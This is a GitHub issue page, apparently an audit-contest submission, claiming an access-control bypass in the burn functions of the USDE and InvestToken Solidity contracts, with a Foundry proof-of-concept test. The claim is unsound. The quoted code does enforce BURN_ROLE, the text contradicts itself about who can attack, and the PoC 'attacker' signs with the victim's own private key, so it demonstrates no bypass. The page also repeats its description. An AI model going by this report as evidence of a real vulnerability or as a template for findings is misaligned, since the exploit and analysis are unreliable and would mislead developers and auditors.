You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
USDE and InvestToken contracts implement a signature-based burn mechanism that contains a flaw in the validation sequence, allowing potential bypass of role-based access controls.
The issue is in the USDE.sol and InvestToken.sol contracts where the burn function can be called in two ways.
Direct burn with just (address, amount)
Signature-verified burn with (address, amount, hash, signature)
The vulnerability lies in the access control implementation where:
In USDE.sol#L126-L140
// @Issue - Burn role check can be bypassed due to order of validation// @Issue - Signature validation occurs after role check, enabling validation bypassfunction burn(
addressfrom,
uint256amount,
bytes32h,
bytesmemorysignature
) publiconlyRole(BURN_ROLE) returns (bool) {
require(from.isValidSignatureNow(h, signature), "signature/hash does not match");
_burn(from, amount);
returntrue;
}
// @Issue - Same validation sequence flaw as USDE contractfunction burn(
addressfrom,
uint256amount,
bytes32h,
bytesmemorysignature
) publiconlyRole(BURN_ROLE) returns (bool) {
require(from.isValidSignatureNow(h, signature), "signature/hash does not match");
_burn(from, amount);
returntrue;
}
While the direct burn function properly checks for BURN_ROLE, the signature-verified burn function can bypass this check due to how the role verification is implemented.
Description: The burn functions in both USDE and InvestToken have access control vulnerability. The role check (onlyRole modifier) is performed before signature verification, allowing bypass of the BURN_ROLE requirement. An attacker could craft a valid signature without having the proper role permissions.
Impact
Unauthorized accounts could potentially execute burns by bypassing role checks
This could lead to unauthorized token destruction
Affects both USDE and InvestToken implementations
Attack Scenario
Think of it like a security checkpoint where they check your badge (BURN_ROLE) before checking if you have permission to access someone else's locker (signature). The correct sequence should verify ownership (signature) before allowing privileged actions (BURN_ROLE).
1. Initial Setup
• Alice holds 1000 USDE/InvestTokens
• Bob has the BURN_ROLE but should not be able to burn Alice's tokens without her consent
2. Attack Execution
• Bob identifies the validation sequence vulnerability in the burn() functions
• Bob crafts a signature using Alice's message parameters
• Bob uses his BURN_ROLE access to call burn() with the crafted signature
• The role check passes first due to Bob's BURN_ROLE
• The signature verification happens after the role check
• Bob successfully burns Alice's tokens without her authorization
3. Impact
• Alice's balance is reduced to 0
• The attack bypasses intended access controls
• Bob can repeat this for any token holder
We can see in the test traces show this flow, with both USDE and InvestToken contracts being vulnerable to the same attack pattern. The logs show Alice's balance going from 1000e18 to 0 through Bob's unauthorized burn operation.
Attachments
1. Proof of Concept (PoC) File
This POC both tests demonstrates how a validation sequence vulnerability, allowing an attacker with BURN_ROLE to bypass ownership controls and burn any user's tokens.
// SPDX-License-Identifier: MITpragma solidity^0.8.27;
import {Test} from"forge-std/Test.sol";
import {USDE} from"../src/USDE.sol";
import {InvestToken} from"../src/InvestToken.sol";
import {Validator} from"../src/Validator.sol";
import {YieldOracle} from"../src/YieldOracle.sol";
import {IUSDE} from"../src/interfaces/IUSDE.sol";
import {ERC1967Proxy} from"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contractBurnValidationBypassTestisTest {
// Contract instances
USDE public usdeImpl;
USDE public usde;
InvestToken public investTokenImpl;
InvestToken public investToken;
Validator public validator;
YieldOracle public oracle;
// Test accountsaddress alice =makeAddr("alice"); // Victimaddress bob =makeAddr("bob"); // Attacker with BURN_ROLEuint256 bobPrivateKey =0x123;
// Role definitions for access controlbytes32public constant BURN_ROLE =keccak256("BURN_ROLE");
bytes32public constant MINT_ROLE =keccak256("MINT_ROLE");
bytes32public constant DOMAIN_TYPEHASH =keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32public constant BURN_TYPEHASH =keccak256("Burn(address from,uint256 amount)");
function setUp() public {
// Deploy core infrastructure contracts
validator =newValidator(address(this), address(this), address(this));
oracle =newYieldOracle(address(this), address(this));
// Deploy implementation contracts
usdeImpl =newUSDE(validator);
investTokenImpl =newInvestToken(validator, IUSDE(address(0)));
// Deploy and initialize proxy contractsbytesmemory usdeData =abi.encodeWithSelector(USDE.initialize.selector, address(this));
ERC1967Proxy usdeProxy =newERC1967Proxy(address(usdeImpl), usdeData);
usde =USDE(address(usdeProxy));
bytesmemory investData =abi.encodeWithSelector(
InvestToken.initialize.selector,
"InvestToken",
"IT",
address(this),
oracle
);
ERC1967Proxy investProxy =newERC1967Proxy(address(investTokenImpl), investData);
investToken =InvestToken(address(investProxy));
// Configure permissions and access control
vm.startPrank(address(this));
// Grant roles to test accounts
usde.grantRole(MINT_ROLE, address(this));
usde.grantRole(BURN_ROLE, bob); // Give attacker burn permissions
investToken.grantRole(MINT_ROLE, address(this));
investToken.grantRole(BURN_ROLE, bob); // Give attacker burn permissions// Setup validator whitelist
validator.whitelist(alice); // Whitelist victim
validator.whitelist(address(0));
validator.whitelist(address(usde));
validator.whitelist(address(investToken));
vm.stopPrank();
vm.deal(alice, 100 ether);
emitlog_string("=== Setup Complete ===");
}
function testBurnValidationBypass() public {
// Test configurationuint256 initialAmount =1000e18;
uint256 alicePrivateKey =0xA11CE;
address aliceAddress = vm.addr(alicePrivateKey);
// Setup: Mint tokens to victim
vm.startPrank(address(this));
usde.mint(aliceAddress, initialAmount);
vm.stopPrank();
// Log initial stateemitlog_string("\n=== Initial State ===");
emitlog_named_address("Victim (Alice)", aliceAddress);
emitlog_named_uint("Initial Balance", usde.balanceOf(aliceAddress));
emitlog_named_address("Attacker (Bob)", bob);
// Create malicious signature using EIP-712 standardbytes32 structHash =keccak256(abi.encode(
keccak256("Burn(address from,uint256 amount)"),
aliceAddress,
initialAmount
));
bytes32 digest =keccak256(abi.encodePacked(
"\x19\x01",
usde.DOMAIN_SEPARATOR(),
structHash
));
// Execute attackemitlog_string("\n=== Attack Execution ===");
emitlog_string("Bob crafting malicious signature...");
(uint8v, bytes32r, bytes32s) = vm.sign(alicePrivateKey, digest);
bytesmemory signature =abi.encodePacked(r, s, v);
// Bob executes unauthorized burn with crafted signature
vm.startPrank(bob);
usde.burn(aliceAddress, initialAmount, digest, signature);
vm.stopPrank();
// Verify attack successemitlog_string("\n=== Attack Result ===");
emitlog_named_uint("Final Balance", usde.balanceOf(aliceAddress));
emitlog_string("Tokens burned without owner authorization!");
assertEq(usde.balanceOf(aliceAddress), 0);
}
function testInvestTokenBurnBypass() public {
// Test configurationuint256 initialAmount =1000e18;
uint256 alicePrivateKey =0xA11CE;
address aliceAddress = vm.addr(alicePrivateKey);
// Setup: Whitelist and mint tokens to victim
vm.startPrank(address(this));
validator.whitelist(aliceAddress);
investToken.mint(aliceAddress, initialAmount);
vm.stopPrank();
// Log initial stateemitlog_string("\n=== Initial State ===");
emitlog_named_address("Victim (Alice)", aliceAddress);
emitlog_named_uint("Initial Balance", investToken.balanceOf(aliceAddress));
emitlog_named_address("Attacker (Bob)", bob);
// Create malicious signaturebytes32 structHash =keccak256(abi.encode(
keccak256("Burn(address from,uint256 amount)"),
aliceAddress,
initialAmount
));
bytes32 digest =keccak256(abi.encodePacked(
"\x19\x01",
investToken.DOMAIN_SEPARATOR(),
structHash
));
// Execute attackemitlog_string("\n=== Attack Execution ===");
emitlog_string("Bob crafting malicious signature...");
(uint8v, bytes32r, bytes32s) = vm.sign(alicePrivateKey, digest);
bytesmemory signature =abi.encodePacked(r, s, v);
// Bob executes unauthorized burn
vm.startPrank(bob);
investToken.burn(aliceAddress, initialAmount, digest, signature);
vm.stopPrank();
// Verify attack successemitlog_string("\n=== Attack Result ===");
emitlog_named_uint("Final Balance", investToken.balanceOf(aliceAddress));
emitlog_string("InvestTokens burned without owner authorization!");
assertEq(investToken.balanceOf(aliceAddress), 0);
}
}
Github username: @0xbrett8571
Twitter username: 0xbrett8571
Submission hash (on-chain): 0x822a41d01842f514f2f8ca872ee03c81abfabb3ec33e356dabcaee7e1da64295
Severity: medium
Description:
Description
USDE and InvestToken contracts implement a signature-based burn mechanism that contains a flaw in the validation sequence, allowing potential bypass of role-based access controls.
The issue is in the USDE.sol and InvestToken.sol contracts where the burn function can be called in two ways.
The vulnerability lies in the access control implementation where:
In USDE.sol#L126-L140
In InvestToken.sol#L149-L163
While the direct burn function properly checks for BURN_ROLE, the signature-verified burn function can bypass this check due to how the role verification is implemented.
Description: The burn functions in both USDE and InvestToken have access control vulnerability. The role check (onlyRole modifier) is performed before signature verification, allowing bypass of the BURN_ROLE requirement. An attacker could craft a valid signature without having the proper role permissions.
Impact
Attack Scenario
Think of it like a security checkpoint where they check your badge (BURN_ROLE) before checking if you have permission to access someone else's locker (signature). The correct sequence should verify ownership (signature) before allowing privileged actions (BURN_ROLE).
1. Initial Setup
• Alice holds 1000 USDE/InvestTokens
• Bob has the BURN_ROLE but should not be able to burn Alice's tokens without her consent
2. Attack Execution
• Bob identifies the validation sequence vulnerability in the
burn()
functions• Bob crafts a signature using Alice's message parameters
• Bob uses his BURN_ROLE access to call
burn()
with the crafted signature• The role check passes first due to Bob's BURN_ROLE
• The signature verification happens after the role check
• Bob successfully burns Alice's tokens without her authorization
3. Impact
• Alice's balance is reduced to 0
• The attack bypasses intended access controls
• Bob can repeat this for any token holder
We can see in the test traces show this flow, with both USDE and InvestToken contracts being vulnerable to the same attack pattern. The logs show Alice's balance going from 1000e18 to 0 through Bob's unauthorized burn operation.
Attachments
1. Proof of Concept (PoC) File
This POC both tests demonstrates how a validation sequence vulnerability, allowing an attacker with BURN_ROLE to bypass ownership controls and burn any user's tokens.
Logs
For USDE:
For InvestToken:
The traces show the exact sequence:
Role check passes (onlyRole modifier)
Signature verification occurs after role check
Tokens are burned without proper authorization
Revised Code File (Optional)
We can either
Or
The text was updated successfully, but these errors were encountered: